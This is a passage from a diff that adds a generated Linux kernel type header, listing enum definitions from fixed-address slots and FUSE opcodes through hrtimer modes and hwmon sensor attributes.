FIX_EARLYCON_MEM_BASE = 513, + FIX_APIC_BASE = 514, + FIX_IO_APIC_BASE_0 = 515, + FIX_IO_APIC_BASE_END = 642, + __end_of_permanent_fixed_addresses = 643, + FIX_BTMAP_END = 1024, + FIX_BTMAP_BEGIN = 1535, + __end_of_fixed_addresses = 1536, +}; + +enum flag_bits { + Faulty = 0, + In_sync = 1, + Bitmap_sync = 2, + WriteMostly = 3, + AutoDetected = 4, + Blocked = 5, + WriteErrorSeen = 6, + FaultRecorded = 7, + BlockedBadBlocks = 8, + WantReplacement = 9, + Replacement = 10, + Candidate = 11, + Journal = 12, + ClusterRemove = 13, + ExternalBbl = 14, + FailFast = 15, + LastDev = 16, + CollisionCheck = 17, + Nonrot = 18, +}; + +enum flags { + DM_CRYPT_SUSPENDED = 0, + DM_CRYPT_KEY_VALID = 1, + DM_CRYPT_SAME_CPU = 2, + DM_CRYPT_HIGH_PRIORITY = 3, + DM_CRYPT_NO_OFFLOAD = 4, + DM_CRYPT_NO_READ_WORKQUEUE = 5, + DM_CRYPT_NO_WRITE_WORKQUEUE = 6, + DM_CRYPT_WRITE_INLINE = 7, +}; + +enum flow_action_hw_stats { + FLOW_ACTION_HW_STATS_IMMEDIATE = 1, + FLOW_ACTION_HW_STATS_DELAYED = 2, + FLOW_ACTION_HW_STATS_ANY = 3, + FLOW_ACTION_HW_STATS_DISABLED = 4, + FLOW_ACTION_HW_STATS_DONT_CARE = 7, +}; + +enum flow_action_id { + FLOW_ACTION_ACCEPT = 0, + FLOW_ACTION_DROP = 1, + FLOW_ACTION_TRAP = 2, + FLOW_ACTION_GOTO = 3, + FLOW_ACTION_REDIRECT = 4, + FLOW_ACTION_MIRRED = 5, + FLOW_ACTION_REDIRECT_INGRESS = 6, + FLOW_ACTION_MIRRED_INGRESS = 7, + FLOW_ACTION_VLAN_PUSH = 8, + FLOW_ACTION_VLAN_POP = 9, + FLOW_ACTION_VLAN_MANGLE = 10, + FLOW_ACTION_TUNNEL_ENCAP = 11, + FLOW_ACTION_TUNNEL_DECAP = 12, + FLOW_ACTION_MANGLE = 13, + FLOW_ACTION_ADD = 14, + FLOW_ACTION_CSUM = 15, + FLOW_ACTION_MARK = 16, + FLOW_ACTION_PTYPE = 17, + FLOW_ACTION_PRIORITY = 18, + FLOW_ACTION_RX_QUEUE_MAPPING = 19, + FLOW_ACTION_WAKE = 20, + FLOW_ACTION_QUEUE = 21, + FLOW_ACTION_SAMPLE = 22, + FLOW_ACTION_POLICE = 23, + FLOW_ACTION_CT = 24, + FLOW_ACTION_CT_METADATA = 25, + FLOW_ACTION_MPLS_PUSH = 26, + FLOW_ACTION_MPLS_POP = 27, + FLOW_ACTION_MPLS_MANGLE = 28, + FLOW_ACTION_GATE = 29, + FLOW_ACTION_PPPOE_PUSH = 30, + FLOW_ACTION_JUMP = 31, + FLOW_ACTION_PIPE = 32, + FLOW_ACTION_VLAN_PUSH_ETH = 33, + FLOW_ACTION_VLAN_POP_ETH = 34, + FLOW_ACTION_CONTINUE = 35, + NUM_FLOW_ACTIONS = 36, +}; + +enum flow_action_mangle_base { + FLOW_ACT_MANGLE_UNSPEC = 0, + FLOW_ACT_MANGLE_HDR_TYPE_ETH = 1, + FLOW_ACT_MANGLE_HDR_TYPE_IP4 = 2, + FLOW_ACT_MANGLE_HDR_TYPE_IP6 = 3, + FLOW_ACT_MANGLE_HDR_TYPE_TCP = 4, + FLOW_ACT_MANGLE_HDR_TYPE_UDP = 5, +}; + +enum flow_block_binder_type { + FLOW_BLOCK_BINDER_TYPE_UNSPEC = 0, + FLOW_BLOCK_BINDER_TYPE_CLSACT_INGRESS = 1, + FLOW_BLOCK_BINDER_TYPE_CLSACT_EGRESS = 2, + FLOW_BLOCK_BINDER_TYPE_RED_EARLY_DROP = 3, + FLOW_BLOCK_BINDER_TYPE_RED_MARK = 4, +}; + +enum flow_block_command { + FLOW_BLOCK_BIND = 0, + FLOW_BLOCK_UNBIND = 1, +}; + +enum flow_cls_command { + FLOW_CLS_REPLACE = 0, + FLOW_CLS_DESTROY = 1, + FLOW_CLS_STATS = 2, + FLOW_CLS_TMPLT_CREATE = 3, + FLOW_CLS_TMPLT_DESTROY = 4, +}; + +enum flow_dissect_ret { + FLOW_DISSECT_RET_OUT_GOOD = 0, + FLOW_DISSECT_RET_OUT_BAD = 1, + FLOW_DISSECT_RET_PROTO_AGAIN = 2, + FLOW_DISSECT_RET_IPPROTO_AGAIN = 3, + FLOW_DISSECT_RET_CONTINUE = 4, +}; + +enum flow_dissector_ctrl_flags { + FLOW_DIS_IS_FRAGMENT = 1, + FLOW_DIS_FIRST_FRAG = 2, + FLOW_DIS_F_TUNNEL_CSUM = 4, + FLOW_DIS_F_TUNNEL_DONT_FRAGMENT = 8, + FLOW_DIS_F_TUNNEL_OAM = 16, + FLOW_DIS_F_TUNNEL_CRIT_OPT = 32, + FLOW_DIS_ENCAPSULATION = 64, +}; + +enum flow_dissector_key_id { + FLOW_DISSECTOR_KEY_CONTROL = 0, + FLOW_DISSECTOR_KEY_BASIC = 1, + FLOW_DISSECTOR_KEY_IPV4_ADDRS = 2, + FLOW_DISSECTOR_KEY_IPV6_ADDRS = 3, + FLOW_DISSECTOR_KEY_PORTS = 4, + FLOW_DISSECTOR_KEY_PORTS_RANGE = 5, + FLOW_DISSECTOR_KEY_ICMP = 6, + FLOW_DISSECTOR_KEY_ETH_ADDRS = 7, + FLOW_DISSECTOR_KEY_TIPC = 8, + FLOW_DISSECTOR_KEY_ARP = 9, + FLOW_DISSECTOR_KEY_VLAN = 10, + FLOW_DISSECTOR_KEY_FLOW_LABEL = 11, + FLOW_DISSECTOR_KEY_GRE_KEYID = 12, + FLOW_DISSECTOR_KEY_MPLS_ENTROPY = 13, + FLOW_DISSECTOR_KEY_ENC_KEYID = 14, + FLOW_DISSECTOR_KEY_ENC_IPV4_ADDRS = 15, + FLOW_DISSECTOR_KEY_ENC_IPV6_ADDRS = 16, + FLOW_DISSECTOR_KEY_ENC_CONTROL = 17, + FLOW_DISSECTOR_KEY_ENC_PORTS = 18, + FLOW_DISSECTOR_KEY_MPLS = 19, + FLOW_DISSECTOR_KEY_TCP = 20, + FLOW_DISSECTOR_KEY_IP = 21, + FLOW_DISSECTOR_KEY_CVLAN = 22, + FLOW_DISSECTOR_KEY_ENC_IP = 23, + FLOW_DISSECTOR_KEY_ENC_OPTS = 24, + FLOW_DISSECTOR_KEY_META = 25, + FLOW_DISSECTOR_KEY_CT = 26, + FLOW_DISSECTOR_KEY_HASH = 27, + FLOW_DISSECTOR_KEY_NUM_OF_VLANS = 28, + FLOW_DISSECTOR_KEY_PPPOE = 29, + FLOW_DISSECTOR_KEY_L2TPV3 = 30, + FLOW_DISSECTOR_KEY_CFM = 31, + FLOW_DISSECTOR_KEY_IPSEC = 32, + FLOW_DISSECTOR_KEY_MAX = 33, +}; + +enum flow_offload_tuple_dir { + FLOW_OFFLOAD_DIR_ORIGINAL = 0, + FLOW_OFFLOAD_DIR_REPLY = 1, +}; + +enum flowlabel_reflect { + FLOWLABEL_REFLECT_ESTABLISHED = 1, + FLOWLABEL_REFLECT_TCP_RESET = 2, + FLOWLABEL_REFLECT_ICMPV6_ECHO_REPLIES = 4, +}; + +enum folio_references { + FOLIOREF_RECLAIM = 0, + FOLIOREF_RECLAIM_CLEAN = 1, + FOLIOREF_KEEP = 2, + FOLIOREF_ACTIVATE = 3, +}; + +enum folio_walk_level { + FW_LEVEL_PTE = 0, + FW_LEVEL_PMD = 1, + FW_LEVEL_PUD = 2, +}; + +enum format_type { + FORMAT_TYPE_NONE = 0, + FORMAT_TYPE_WIDTH = 1, + FORMAT_TYPE_PRECISION = 2, + FORMAT_TYPE_CHAR = 3, + FORMAT_TYPE_STR = 4, + FORMAT_TYPE_PTR = 5, + FORMAT_TYPE_PERCENT_CHAR = 6, + FORMAT_TYPE_INVALID = 7, + FORMAT_TYPE_LONG_LONG = 8, + FORMAT_TYPE_ULONG = 9, + FORMAT_TYPE_LONG = 10, + FORMAT_TYPE_UBYTE = 11, + FORMAT_TYPE_BYTE = 12, + FORMAT_TYPE_USHORT = 13, + FORMAT_TYPE_SHORT = 14, + FORMAT_TYPE_UINT = 15, + FORMAT_TYPE_INT = 16, + FORMAT_TYPE_SIZE_T = 17, + FORMAT_TYPE_PTRDIFF = 18, +}; + +enum freeze_holder { + FREEZE_HOLDER_KERNEL = 1, + FREEZE_HOLDER_USERSPACE = 2, + FREEZE_MAY_NEST = 4, +}; + +enum freezer_state_flags { + CGROUP_FREEZER_ONLINE = 1, + CGROUP_FREEZING_SELF = 2, + CGROUP_FREEZING_PARENT = 4, + CGROUP_FROZEN = 8, + CGROUP_FREEZING = 6, +}; + +enum freq_qos_req_type { + FREQ_QOS_MIN = 1, + FREQ_QOS_MAX = 2, +}; + +enum fs_context_phase { + FS_CONTEXT_CREATE_PARAMS = 0, + FS_CONTEXT_CREATING = 1, + FS_CONTEXT_AWAITING_MOUNT = 2, + FS_CONTEXT_AWAITING_RECONF = 3, + FS_CONTEXT_RECONF_PARAMS = 4, + FS_CONTEXT_RECONFIGURING = 5, + FS_CONTEXT_FAILED = 6, +}; + +enum fs_context_purpose { + FS_CONTEXT_FOR_MOUNT = 0, + FS_CONTEXT_FOR_SUBMOUNT = 1, + FS_CONTEXT_FOR_RECONFIGURE = 2, +}; + +enum fs_value_type { + fs_value_is_undefined = 0, + fs_value_is_flag = 1, + fs_value_is_string = 2, + fs_value_is_blob = 3, + fs_value_is_filename = 4, + fs_value_is_file = 5, +}; + +enum fsconfig_command { + FSCONFIG_SET_FLAG = 0, + FSCONFIG_SET_STRING = 1, + FSCONFIG_SET_BINARY = 2, + FSCONFIG_SET_PATH = 3, + FSCONFIG_SET_PATH_EMPTY = 4, + FSCONFIG_SET_FD = 5, + FSCONFIG_CMD_CREATE = 6, + FSCONFIG_CMD_RECONFIGURE = 7, + FSCONFIG_CMD_CREATE_EXCL = 8, +}; + +enum fsnotify_data_type { + FSNOTIFY_EVENT_NONE = 0, + FSNOTIFY_EVENT_PATH = 1, + FSNOTIFY_EVENT_INODE = 2, + FSNOTIFY_EVENT_DENTRY = 3, + FSNOTIFY_EVENT_ERROR = 4, +}; + +enum fsnotify_group_prio { + FSNOTIFY_PRIO_NORMAL = 0, + FSNOTIFY_PRIO_CONTENT = 1, + FSNOTIFY_PRIO_PRE_CONTENT = 2, + __FSNOTIFY_PRIO_NUM = 3, +}; + +enum fsnotify_iter_type { + FSNOTIFY_ITER_TYPE_INODE = 0, + FSNOTIFY_ITER_TYPE_VFSMOUNT = 1, + FSNOTIFY_ITER_TYPE_SB = 2, + FSNOTIFY_ITER_TYPE_PARENT = 3, + FSNOTIFY_ITER_TYPE_INODE2 = 4, + FSNOTIFY_ITER_TYPE_COUNT = 5, +}; + +enum fsnotify_obj_type { + FSNOTIFY_OBJ_TYPE_ANY = -1, + FSNOTIFY_OBJ_TYPE_INODE = 0, + FSNOTIFY_OBJ_TYPE_VFSMOUNT = 1, + FSNOTIFY_OBJ_TYPE_SB = 2, + FSNOTIFY_OBJ_TYPE_COUNT = 3, + FSNOTIFY_OBJ_TYPE_DETACHED = 3, +}; + +enum ftm_responder_stats_flags { + FTM_RESP_STAT_NON_ASAP_STARTED = 1, + FTM_RESP_STAT_NON_ASAP_IN_WIN = 2, + FTM_RESP_STAT_NON_ASAP_OUT_WIN = 4, + FTM_RESP_STAT_TRIGGER_DUP = 8, + FTM_RESP_STAT_DUP = 16, + FTM_RESP_STAT_DUP_IN_WIN = 32, + FTM_RESP_STAT_DUP_OUT_WIN = 64, + FTM_RESP_STAT_SCHED_SUCCESS = 128, + FTM_RESP_STAT_ASAP_REQ = 256, + FTM_RESP_STAT_NON_ASAP_REQ = 512, + FTM_RESP_STAT_ASAP_RESP = 1024, + FTM_RESP_STAT_NON_ASAP_RESP = 2048, + FTM_RESP_STAT_FAIL_INITIATOR_INACTIVE = 4096, + FTM_RESP_STAT_FAIL_INITIATOR_OUT_WIN = 8192, + FTM_RESP_STAT_FAIL_INITIATOR_RETRY_LIM = 16384, + FTM_RESP_STAT_FAIL_NEXT_SERVED = 32768, + FTM_RESP_STAT_FAIL_TRIGGER_ERR = 65536, + FTM_RESP_STAT_FAIL_GC = 131072, + FTM_RESP_STAT_SUCCESS = 262144, + FTM_RESP_STAT_INTEL_IE = 524288, + FTM_RESP_STAT_INITIATOR_ACTIVE = 1048576, + FTM_RESP_STAT_MEASUREMENTS_AVAILABLE = 2097152, + FTM_RESP_STAT_TRIGGER_UNKNOWN = 4194304, + FTM_RESP_STAT_PROCESS_FAIL = 8388608, + FTM_RESP_STAT_ACK = 16777216, + FTM_RESP_STAT_NACK = 33554432, + FTM_RESP_STAT_INVALID_INITIATOR_ID = 67108864, + FTM_RESP_STAT_TIMER_MIN_DELTA = 134217728, + FTM_RESP_STAT_INITIATOR_REMOVED = 268435456, + FTM_RESP_STAT_INITIATOR_ADDED = 536870912, + FTM_RESP_STAT_ERR_LIST_FULL = 1073741824, + FTM_RESP_STAT_INITIATOR_SCHED_NOW = 2147483648, +}; + +enum ftrace_bug_type { + FTRACE_BUG_UNKNOWN = 0, + FTRACE_BUG_INIT = 1, + FTRACE_BUG_NOP = 2, + FTRACE_BUG_CALL = 3, + FTRACE_BUG_UPDATE = 4, +}; + +enum ftrace_dump_mode { + DUMP_NONE = 0, + DUMP_ALL = 1, + DUMP_ORIG = 2, + DUMP_PARAM = 3, +}; + +enum ftrace_ops_cmd { + FTRACE_OPS_CMD_ENABLE_SHARE_IPMODIFY_SELF = 0, + FTRACE_OPS_CMD_ENABLE_SHARE_IPMODIFY_PEER = 1, + FTRACE_OPS_CMD_DISABLE_SHARE_IPMODIFY_PEER = 2, +}; + +enum fuse_dax_mode { + FUSE_DAX_INODE_DEFAULT = 0, + FUSE_DAX_ALWAYS = 1, + FUSE_DAX_NEVER = 2, + FUSE_DAX_INODE_USER = 3, +}; + +enum fuse_ext_type { + FUSE_MAX_NR_SECCTX = 31, + FUSE_EXT_GROUPS = 32, +}; + +enum fuse_notify_code { + FUSE_NOTIFY_POLL = 1, + FUSE_NOTIFY_INVAL_INODE = 2, + FUSE_NOTIFY_INVAL_ENTRY = 3, + FUSE_NOTIFY_STORE = 4, + FUSE_NOTIFY_RETRIEVE = 5, + FUSE_NOTIFY_DELETE = 6, + FUSE_NOTIFY_RESEND = 7, + FUSE_NOTIFY_CODE_MAX = 8, +}; + +enum fuse_opcode { + FUSE_LOOKUP = 1, + FUSE_FORGET = 2, + FUSE_GETATTR = 3, + FUSE_SETATTR = 4, + FUSE_READLINK = 5, + FUSE_SYMLINK = 6, + FUSE_MKNOD = 8, + FUSE_MKDIR = 9, + FUSE_UNLINK = 10, + FUSE_RMDIR = 11, + FUSE_RENAME = 12, + FUSE_LINK = 13, + FUSE_OPEN = 14, + FUSE_READ = 15, + FUSE_WRITE = 16, + FUSE_STATFS = 17, + FUSE_RELEASE = 18, + FUSE_FSYNC = 20, + FUSE_SETXATTR = 21, + FUSE_GETXATTR = 22, + FUSE_LISTXATTR = 23, + FUSE_REMOVEXATTR = 24, + FUSE_FLUSH = 25, + FUSE_INIT = 26, + FUSE_OPENDIR = 27, + FUSE_READDIR = 28, + FUSE_RELEASEDIR = 29, + FUSE_FSYNCDIR = 30, + FUSE_GETLK = 31, + FUSE_SETLK = 32, + FUSE_SETLKW = 33, + FUSE_ACCESS = 34, + FUSE_CREATE = 35, + FUSE_INTERRUPT = 36, + FUSE_BMAP = 37, + FUSE_DESTROY = 38, + FUSE_IOCTL = 39, + FUSE_POLL = 40, + FUSE_NOTIFY_REPLY = 41, + FUSE_BATCH_FORGET = 42, + FUSE_FALLOCATE = 43, + FUSE_READDIRPLUS = 44, + FUSE_RENAME2 = 45, + FUSE_LSEEK = 46, + FUSE_COPY_FILE_RANGE = 47, + FUSE_SETUPMAPPING = 48, + FUSE_REMOVEMAPPING = 49, + FUSE_SYNCFS = 50, + FUSE_TMPFILE = 51, + FUSE_STATX = 52, + CUSE_INIT = 4096, + CUSE_INIT_BSWAP_RESERVED = 1048576, + FUSE_INIT_BSWAP_RESERVED = 436207616, +}; + +enum fuse_parse_result { + FOUND_ERR = -1, + FOUND_NONE = 0, + FOUND_SOME = 1, + FOUND_ALL = 2, +}; + +enum fuse_req_flag { + FR_ISREPLY = 0, + FR_FORCE = 1, + FR_BACKGROUND = 2, + FR_WAITING = 3, + FR_ABORTED = 4, + FR_INTERRUPTED = 5, + FR_LOCKED = 6, + FR_PENDING = 7, + FR_SENT = 8, + FR_FINISHED = 9, + FR_PRIVATE = 10, + FR_ASYNC = 11, +}; + +enum futex_access { + FUTEX_READ = 0, + FUTEX_WRITE = 1, +}; + +enum fw_opt { + FW_OPT_UEVENT = 1, + FW_OPT_NOWAIT = 2, + FW_OPT_USERHELPER = 4, + FW_OPT_NO_WARN = 8, + FW_OPT_NOCACHE = 16, + FW_OPT_NOFALLBACK_SYSFS = 32, + FW_OPT_FALLBACK_PLATFORM = 64, + FW_OPT_PARTIAL = 128, +}; + +enum fw_status { + FW_STATUS_UNKNOWN = 0, + FW_STATUS_LOADING = 1, + FW_STATUS_DONE = 2, + FW_STATUS_ABORTED = 3, +}; + +enum fwdb_flags { + FWDB_FLAG_NO_OFDM = 1, + FWDB_FLAG_NO_OUTDOOR = 2, + FWDB_FLAG_DFS = 4, + FWDB_FLAG_NO_IR = 8, + FWDB_FLAG_AUTO_BW = 16, +}; + +enum gds_mitigations { + GDS_MITIGATION_OFF = 0, + GDS_MITIGATION_UCODE_NEEDED = 1, + GDS_MITIGATION_FORCE = 2, + GDS_MITIGATION_FULL = 3, + GDS_MITIGATION_FULL_LOCKED = 4, + GDS_MITIGATION_HYPERVISOR = 5, +}; + +enum genl_validate_flags { + GENL_DONT_VALIDATE_STRICT = 1, + GENL_DONT_VALIDATE_DUMP = 2, + GENL_DONT_VALIDATE_DUMP_STRICT = 4, +}; + +enum geo_type { + geo_new = 0, + geo_old = 1, + geo_start = 2, +}; + +enum gpiod_flags { + GPIOD_ASIS = 0, + GPIOD_IN = 1, + GPIOD_OUT_LOW = 3, + GPIOD_OUT_HIGH = 7, + GPIOD_OUT_LOW_OPEN_DRAIN = 11, + GPIOD_OUT_HIGH_OPEN_DRAIN = 15, +}; + +enum graph_filter_type { + GRAPH_FILTER_NOTRACE = 0, + GRAPH_FILTER_FUNCTION = 1, +}; + +enum gro_result { + GRO_MERGED = 0, + GRO_MERGED_FREE = 1, + GRO_HELD = 2, + GRO_NORMAL = 3, + GRO_CONSUMED = 4, +}; + +typedef enum gro_result gro_result_t; + +enum group_type { + group_has_spare = 0, + group_fully_busy = 1, + group_misfit_task = 2, + group_smt_balance = 3, + group_asym_packing = 4, + group_imbalanced = 5, + group_overloaded = 6, +}; + +enum handle_to_path_flags { + HANDLE_CHECK_PERMS = 1, + HANDLE_CHECK_SUBTREE = 2, +}; + +enum handler_id { + HANDLER_ONMATCH = 1, + HANDLER_ONMAX = 2, + HANDLER_ONCHANGE = 3, +}; + +enum hash_algo { + HASH_ALGO_MD4 = 0, + HASH_ALGO_MD5 = 1, + HASH_ALGO_SHA1 = 2, + HASH_ALGO_RIPE_MD_160 = 3, + HASH_ALGO_SHA256 = 4, + HASH_ALGO_SHA384 = 5, + HASH_ALGO_SHA512 = 6, + HASH_ALGO_SHA224 = 7, + HASH_ALGO_RIPE_MD_128 = 8, + HASH_ALGO_RIPE_MD_256 = 9, + HASH_ALGO_RIPE_MD_320 = 10, + HASH_ALGO_WP_256 = 11, + HASH_ALGO_WP_384 = 12, + HASH_ALGO_WP_512 = 13, + HASH_ALGO_TGR_128 = 14, + HASH_ALGO_TGR_160 = 15, + HASH_ALGO_TGR_192 = 16, + HASH_ALGO_SM3_256 = 17, + HASH_ALGO_STREEBOG_256 = 18, + HASH_ALGO_STREEBOG_512 = 19, + HASH_ALGO_SHA3_256 = 20, + HASH_ALGO_SHA3_384 = 21, + HASH_ALGO_SHA3_512 = 22, + HASH_ALGO__LAST = 23, +}; + +enum hctx_type { + HCTX_TYPE_DEFAULT = 0, + HCTX_TYPE_READ = 1, + HCTX_TYPE_POLL = 2, + HCTX_MAX_TYPES = 3, +}; + +enum hid_class_request { + HID_REQ_GET_REPORT = 1, + HID_REQ_GET_IDLE = 2, + HID_REQ_GET_PROTOCOL = 3, + HID_REQ_SET_REPORT = 9, + HID_REQ_SET_IDLE = 10, + HID_REQ_SET_PROTOCOL = 11, +}; + +enum hid_report_type { + HID_INPUT_REPORT = 0, + HID_OUTPUT_REPORT = 1, + HID_FEATURE_REPORT = 2, + HID_REPORT_TYPES = 3, +}; + +enum hid_type { + HID_TYPE_OTHER = 0, + HID_TYPE_USBMOUSE = 1, + HID_TYPE_USBNONE = 2, +}; + +enum hist_field_flags { + HIST_FIELD_FL_HITCOUNT = 1, + HIST_FIELD_FL_KEY = 2, + HIST_FIELD_FL_STRING = 4, + HIST_FIELD_FL_HEX = 8, + HIST_FIELD_FL_SYM = 16, + HIST_FIELD_FL_SYM_OFFSET = 32, + HIST_FIELD_FL_EXECNAME = 64, + HIST_FIELD_FL_SYSCALL = 128, + HIST_FIELD_FL_STACKTRACE = 256, + HIST_FIELD_FL_LOG2 = 512, + HIST_FIELD_FL_TIMESTAMP = 1024, + HIST_FIELD_FL_TIMESTAMP_USECS = 2048, + HIST_FIELD_FL_VAR = 4096, + HIST_FIELD_FL_EXPR = 8192, + HIST_FIELD_FL_VAR_REF = 16384, + HIST_FIELD_FL_CPU = 32768, + HIST_FIELD_FL_ALIAS = 65536, + HIST_FIELD_FL_BUCKET = 131072, + HIST_FIELD_FL_CONST = 262144, + HIST_FIELD_FL_PERCENT = 524288, + HIST_FIELD_FL_GRAPH = 1048576, +}; + +enum hist_field_fn { + HIST_FIELD_FN_NOP = 0, + HIST_FIELD_FN_VAR_REF = 1, + HIST_FIELD_FN_COUNTER = 2, + HIST_FIELD_FN_CONST = 3, + HIST_FIELD_FN_LOG2 = 4, + HIST_FIELD_FN_BUCKET = 5, + HIST_FIELD_FN_TIMESTAMP = 6, + HIST_FIELD_FN_CPU = 7, + HIST_FIELD_FN_STRING = 8, + HIST_FIELD_FN_DYNSTRING = 9, + HIST_FIELD_FN_RELDYNSTRING = 10, + HIST_FIELD_FN_PSTRING = 11, + HIST_FIELD_FN_S64 = 12, + HIST_FIELD_FN_U64 = 13, + HIST_FIELD_FN_S32 = 14, + HIST_FIELD_FN_U32 = 15, + HIST_FIELD_FN_S16 = 16, + HIST_FIELD_FN_U16 = 17, + HIST_FIELD_FN_S8 = 18, + HIST_FIELD_FN_U8 = 19, + HIST_FIELD_FN_UMINUS = 20, + HIST_FIELD_FN_MINUS = 21, + HIST_FIELD_FN_PLUS = 22, + HIST_FIELD_FN_DIV = 23, + HIST_FIELD_FN_MULT = 24, + HIST_FIELD_FN_DIV_POWER2 = 25, + HIST_FIELD_FN_DIV_NOT_POWER2 = 26, + HIST_FIELD_FN_DIV_MULT_SHIFT = 27, + HIST_FIELD_FN_EXECNAME = 28, + HIST_FIELD_FN_STACK = 29, +}; + +enum hk_flags { + HK_FLAG_TIMER = 1, + HK_FLAG_RCU = 2, + HK_FLAG_MISC = 4, + HK_FLAG_SCHED = 8, + HK_FLAG_TICK = 16, + HK_FLAG_DOMAIN = 32, + HK_FLAG_WQ = 64, + HK_FLAG_MANAGED_IRQ = 128, + HK_FLAG_KTHREAD = 256, +}; + +enum hk_type { + HK_TYPE_TIMER = 0, + HK_TYPE_RCU = 1, + HK_TYPE_MISC = 2, + HK_TYPE_SCHED = 3, + HK_TYPE_TICK = 4, + HK_TYPE_DOMAIN = 5, + HK_TYPE_WQ = 6, + HK_TYPE_MANAGED_IRQ = 7, + HK_TYPE_KTHREAD = 8, + HK_TYPE_MAX = 9, +}; + +enum hpet_mode { + HPET_MODE_UNUSED = 0, + HPET_MODE_LEGACY = 1, + HPET_MODE_CLOCKEVT = 2, + HPET_MODE_DEVICE = 3, +}; + +enum hpx_type3_cfg_loc { + HPX_CFG_PCICFG = 0, + HPX_CFG_PCIE_CAP = 1, + HPX_CFG_PCIE_CAP_EXT = 2, + HPX_CFG_VEND_CAP = 3, + HPX_CFG_DVSEC = 4, + HPX_CFG_MAX = 5, +}; + +enum hpx_type3_fn_type { + HPX_FN_NORMAL = 1, + HPX_FN_SRIOV_PHYS = 2, + HPX_FN_SRIOV_VIRT = 4, +}; + +enum hrtimer_base_type { + HRTIMER_BASE_MONOTONIC = 0, + HRTIMER_BASE_REALTIME = 1, + HRTIMER_BASE_BOOTTIME = 2, + HRTIMER_BASE_TAI = 3, + HRTIMER_BASE_MONOTONIC_SOFT = 4, + HRTIMER_BASE_REALTIME_SOFT = 5, + HRTIMER_BASE_BOOTTIME_SOFT = 6, + HRTIMER_BASE_TAI_SOFT = 7, + HRTIMER_MAX_CLOCK_BASES = 8, +}; + +enum hrtimer_mode { + HRTIMER_MODE_ABS = 0, + HRTIMER_MODE_REL = 1, + HRTIMER_MODE_PINNED = 2, + HRTIMER_MODE_SOFT = 4, + HRTIMER_MODE_HARD = 8, + HRTIMER_MODE_ABS_PINNED = 2, + HRTIMER_MODE_REL_PINNED = 3, + HRTIMER_MODE_ABS_SOFT = 4, + HRTIMER_MODE_REL_SOFT = 5, + HRTIMER_MODE_ABS_PINNED_SOFT = 6, + HRTIMER_MODE_REL_PINNED_SOFT = 7, + HRTIMER_MODE_ABS_HARD = 8, + HRTIMER_MODE_REL_HARD = 9, + HRTIMER_MODE_ABS_PINNED_HARD = 10, + HRTIMER_MODE_REL_PINNED_HARD = 11, +}; + +enum hrtimer_restart { + HRTIMER_NORESTART = 0, + HRTIMER_RESTART = 1, +}; + +enum hsm_task_states { + HSM_ST_IDLE = 0, + HSM_ST_FIRST = 1, + HSM_ST = 2, + HSM_ST_LAST = 3, + HSM_ST_ERR = 4, +}; + +enum hub_activation_type { + HUB_INIT = 0, + HUB_INIT2 = 1, + HUB_INIT3 = 2, + HUB_POST_RESET = 3, + HUB_RESUME = 4, + HUB_RESET_RESUME = 5, +}; + +enum hub_led_mode { + INDICATOR_AUTO = 0, + INDICATOR_CYCLE = 1, + INDICATOR_GREEN_BLINK = 2, + INDICATOR_GREEN_BLINK_OFF = 3, + INDICATOR_AMBER_BLINK = 4, + INDICATOR_AMBER_BLINK_OFF = 5, + INDICATOR_ALT_BLINK = 6, + INDICATOR_ALT_BLINK_OFF = 7, +} __attribute__((mode(byte))); + +enum hub_quiescing_type { + HUB_DISCONNECT = 0, + HUB_PRE_RESET = 1, + HUB_SUSPEND = 2, +}; + +enum hugetlb_memory_event { + HUGETLB_MAX = 0, + HUGETLB_NR_MEMORY_EVENTS = 1, +}; + +enum hugetlb_page_flags { + HPG_restore_reserve = 0, + HPG_migratable = 1, + HPG_temporary = 2, + HPG_freed = 3, + HPG_vmemmap_optimized = 4, + HPG_raw_hwp_unreliable = 5, + __NR_HPAGEFLAGS = 6, +}; + +enum hugetlb_param { + Opt_gid___8 = 0, + Opt_min_size = 1, + Opt_mode___5 = 2, + Opt_nr_inodes = 3, + Opt_pagesize = 4, + Opt_size = 5, + Opt_uid___8 = 6, +}; + +enum hugetlbfs_size_type { + NO_SIZE = 0, + SIZE_STD = 1, + SIZE_PERCENT = 2, +}; + +enum hwmon_chip_attributes { + hwmon_chip_temp_reset_history = 0, + hwmon_chip_in_reset_history = 1, + hwmon_chip_curr_reset_history = 2, + hwmon_chip_power_reset_history = 3, + hwmon_chip_register_tz = 4, + hwmon_chip_update_interval = 5, + hwmon_chip_alarms = 6, + hwmon_chip_samples = 7, + hwmon_chip_curr_samples = 8, + hwmon_chip_in_samples = 9, + hwmon_chip_power_samples = 10, + hwmon_chip_temp_samples = 11, + hwmon_chip_beep_enable = 12, + hwmon_chip_pec = 13, +}; + +enum hwmon_curr_attributes { + hwmon_curr_enable = 0, + hwmon_curr_input = 1, + hwmon_curr_min = 2, + hwmon_curr_max = 3, + hwmon_curr_lcrit = 4, + hwmon_curr_crit = 5, + hwmon_curr_average = 6, + hwmon_curr_lowest = 7, + hwmon_curr_highest = 8, + hwmon_curr_reset_history = 9, + hwmon_curr_label = 10, + hwmon_curr_alarm = 11, + hwmon_curr_min_alarm = 12, + hwmon_curr_max_alarm = 13, + hwmon_curr_lcrit_alarm = 14, + hwmon_curr_crit_alarm = 15, + hwmon_curr_rated_min = 16, + hwmon_curr_rated_max = 17, + hwmon_curr_beep = 18, +}; + +enum hwmon_energy_attributes { + hwmon_energy_enable = 0, + hwmon_energy_input = 1, + hwmon_energy_label = 2, +}; + +enum hwmon_fan_attributes { + hwmon_fan_enable = 0, + hwmon_fan_input = 1, + hwmon_fan_label = 2, + hwmon_fan_min = 3, + hwmon_fan_max = 4, + hwmon_fan_div = 5, + hwmon_fan_pulses = 6, + hwmon_fan_target = 7, + hwmon_fan_alarm = 8, + hwmon_fan_min_alarm = 9, + hwmon_fan_max_alarm = 10, + hwmon_fan_fault = 11, + hwmon_fan_beep = 12, +}; + +enum hwmon_humidity_attributes { + hwmon_humidity_enable = 0, + hwmon_humidity_input = 1, + hwmon_humidity_label = 2, + hwmon_humidity_min = 3, + hwmon_humidity_min_hyst = 4, + hwmon_humidity_max = 5, + hwmon_humidity_max_hyst = 6, + hwmon_humidity_alarm = 7, + hwmon_humidity_fault = 8, + hwmon_humidity_rated_min = 9, + hwmon_humidity_rated_max = 10, + hwmon_humidity_min_alarm = 11, + hwmon_humidity_max_alarm = 12, +}; + +enum hwmon_in_attributes { + hwmon_in_enable = 0, + hwmon_in_input = 1, + hwmon_in_min = 2, + hwmon_in_max = 3, + hwmon_in_lcrit = 4, + hwmon_in_crit = 5, + hwmon_in_average = 6, + hwmon_in_lowest = 